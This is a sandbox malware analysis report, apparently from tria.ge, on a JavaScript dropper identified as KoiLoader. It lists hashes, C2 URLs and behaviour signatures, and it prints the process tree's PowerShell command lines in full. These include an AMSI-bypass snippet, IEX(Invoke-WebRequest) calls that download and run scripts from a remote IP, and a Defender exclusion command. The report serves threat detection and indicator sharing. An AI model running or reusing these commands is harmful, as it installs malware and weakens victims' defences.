Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    131s
  • max time network
    135s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/01/2025, 13:36

General

  • Target

    r6eac11b8-35d6-bffe-da50-d9e1a5ae832ar.js

  • Size

    1KB

  • MD5

    efcc96851f4724909616b5f3ec81cf79

  • SHA1

    783d14e21e058733ef6cc6ca1e934bcf2533d134

  • SHA256

    a6bda80c9f914fb5b640d3437c264993b49a91d997562d53f5ba8d32ac979ec1

  • SHA512

    c4f152a2caad73ed9a50df2394b59749b6aed00b3135289881c730b9d9d7ec6d34f0fd51e8785ee32da0e2e1b5da3c6b896743b13941d4496c930138e6065e44

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://79.124.78.109/wp-includes/phyllopodan7V7GD.php

exe.dropper

http://79.124.78.109/wp-includes/barasinghaby.ps1

Extracted

Family

koiloader

C2

http://79.124.78.109/flocking.php

Signatures

  • KoiLoader

    KoiLoader is a malware loader written in C++.

  • Koiloader family
  • Detects KoiLoader payload 1 IoCs
  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\r6eac11b8-35d6-bffe-da50-d9e1a5ae832ar.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4832
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$l1 = 'http://79.124.78.109/wp-includes/phyllopodan7V7GD.php'; $l2 = 'http://79.124.78.109/wp-includes/barasinghaby.ps1'; $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*siU*s') {$c=$b}}; $env:paths = '7zTJRTNUX3VD'; IEX(Invoke-WebRequest -UseBasicParsing $l1); IEX(Invoke-WebRequest -UseBasicParsing $l2)"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4044
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'http://79.124.78.109/wp-includes/sd2.ps1')"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:856
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -command IEX(IWR -UseBasicParsing 'http://79.124.78.109/wp-includes/sd2.ps1')
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1524
  • C:\Windows\SysWOW64\DllHost.exe
    C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4956
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4984
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2960
  • C:\Windows\System32\wscript.exe
    C:\Windows\System32\wscript.exe "C:\ProgramData\rcca0d105-8260-4611-8c12-bd85a7208b9fr.js"
    1⤵
      PID:5108
    • C:\Windows\System32\wscript.exe
      C:\Windows\System32\wscript.exe "C:\ProgramData\rcca0d105-8260-4611-8c12-bd85a7208b9fr.js"
      1⤵
        PID:4212

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\rcca0d105-8260-4611-8c12-bd85a7208b9fr.js

        Filesize

        1KB

        MD5

        efcc96851f4724909616b5f3ec81cf79

        SHA1

        783d14e21e058733ef6cc6ca1e934bcf2533d134

        SHA256

        a6bda80c9f914fb5b640d3437c264993b49a91d997562d53f5ba8d32ac979ec1

        SHA512

        c4f152a2caad73ed9a50df2394b59749b6aed00b3135289881c730b9d9d7ec6d34f0fd51e8785ee32da0e2e1b5da3c6b896743b13941d4496c930138e6065e44

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        3d086a433708053f9bf9523e1d87a4e8

        SHA1

        b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

        SHA256

        6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

        SHA512

        931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        19KB

        MD5

        eeeba0a4193de537178d40afa3b52152

        SHA1

        51605caef26356245d06237ba9c9d2e5f9572f68

        SHA256

        996134a37cb1a5b65d55dba6952700ef705236b6df287ee93b7df9b08fac5829

        SHA512

        fc9ba58559755c663d6d40f2be1ffe0c47c3810d192b6339a9b5c0452ac48462e141138831c56f7811adc85dcdf8656c3a24038c6c8564bf3eb5275af214b289

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bx0eei3w.2d3.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/1524-77-0x0000000008820000-0x00000000088B2000-memory.dmp

        Filesize

        584KB

      • memory/1524-76-0x0000000008730000-0x0000000008780000-memory.dmp

        Filesize

        320KB

      • memory/1524-75-0x0000000008680000-0x000000000869A000-memory.dmp

        Filesize

        104KB

      • memory/1524-74-0x0000000008C30000-0x00000000091D4000-memory.dmp

        Filesize

        5.6MB

      • memory/1524-73-0x0000000008540000-0x0000000008562000-memory.dmp

        Filesize

        136KB

      • memory/2960-69-0x0000000007EA0000-0x0000000007EBA000-memory.dmp

        Filesize

        104KB

      • memory/2960-41-0x0000000070990000-0x00000000709DC000-memory.dmp

        Filesize

        304KB

      • memory/2960-70-0x0000000007E80000-0x0000000007E88000-memory.dmp

        Filesize

        32KB

      • memory/2960-68-0x0000000007DA0000-0x0000000007DB4000-memory.dmp

        Filesize

        80KB

      • memory/2960-67-0x0000000007D90000-0x0000000007D9E000-memory.dmp

        Filesize

        56KB

      • memory/2960-66-0x0000000007D60000-0x0000000007D71000-memory.dmp

        Filesize

        68KB

      • memory/2960-65-0x0000000007DE0000-0x0000000007E76000-memory.dmp

        Filesize

        600KB

      • memory/2960-55-0x0000000007BD0000-0x0000000007BDA000-memory.dmp

        Filesize

        40KB

      • memory/2960-52-0x0000000007A50000-0x0000000007AF3000-memory.dmp

        Filesize

        652KB

      • memory/2960-51-0x00000000079D0000-0x00000000079EE000-memory.dmp

        Filesize

        120KB

      • memory/2960-40-0x0000000007A10000-0x0000000007A42000-memory.dmp

        Filesize

        200KB

      • memory/4044-29-0x0000000074B70000-0x0000000075320000-memory.dmp

        Filesize

        7.7MB

      • memory/4044-21-0x0000000005F30000-0x0000000005F4A000-memory.dmp

        Filesize

        104KB

      • memory/4044-19-0x0000000005B60000-0x0000000005B7E000-memory.dmp

        Filesize

        120KB

      • memory/4044-54-0x0000000074B70000-0x0000000075320000-memory.dmp

        Filesize

        7.7MB

      • memory/4044-53-0x0000000074B7E000-0x0000000074B7F000-memory.dmp

        Filesize

        4KB

      • memory/4044-25-0x00000000072A0000-0x00000000072AD000-memory.dmp

        Filesize

        52KB

      • memory/4044-24-0x00000000071C0000-0x00000000071C1000-memory.dmp

        Filesize

        4KB

      • memory/4044-23-0x0000000074B70000-0x0000000075320000-memory.dmp

        Filesize

        7.7MB

      • memory/4044-22-0x00000000073E0000-0x0000000007A5A000-memory.dmp

        Filesize

        6.5MB

      • memory/4044-18-0x0000000005570000-0x00000000058C4000-memory.dmp

        Filesize

        3.3MB

      • memory/4044-1-0x0000000074B7E000-0x0000000074B7F000-memory.dmp

        Filesize

        4KB

      • memory/4044-20-0x0000000005B90000-0x0000000005BDC000-memory.dmp

        Filesize

        304KB

      • memory/4044-7-0x00000000053E0000-0x0000000005446000-memory.dmp

        Filesize

        408KB

      • memory/4044-8-0x0000000005500000-0x0000000005566000-memory.dmp

        Filesize

        408KB

      • memory/4044-6-0x00000000052C0000-0x00000000052E2000-memory.dmp

        Filesize

        136KB

      • memory/4044-5-0x0000000074B70000-0x0000000075320000-memory.dmp

        Filesize

        7.7MB

      • memory/4044-3-0x0000000074B70000-0x0000000075320000-memory.dmp

        Filesize

        7.7MB

      • memory/4044-4-0x0000000004C50000-0x0000000005278000-memory.dmp

        Filesize

        6.2MB

      • memory/4044-2-0x00000000025B0000-0x00000000025E6000-memory.dmp

        Filesize

        216KB

      • memory/4044-81-0x0000000074B70000-0x0000000075320000-memory.dmp

        Filesize

        7.7MB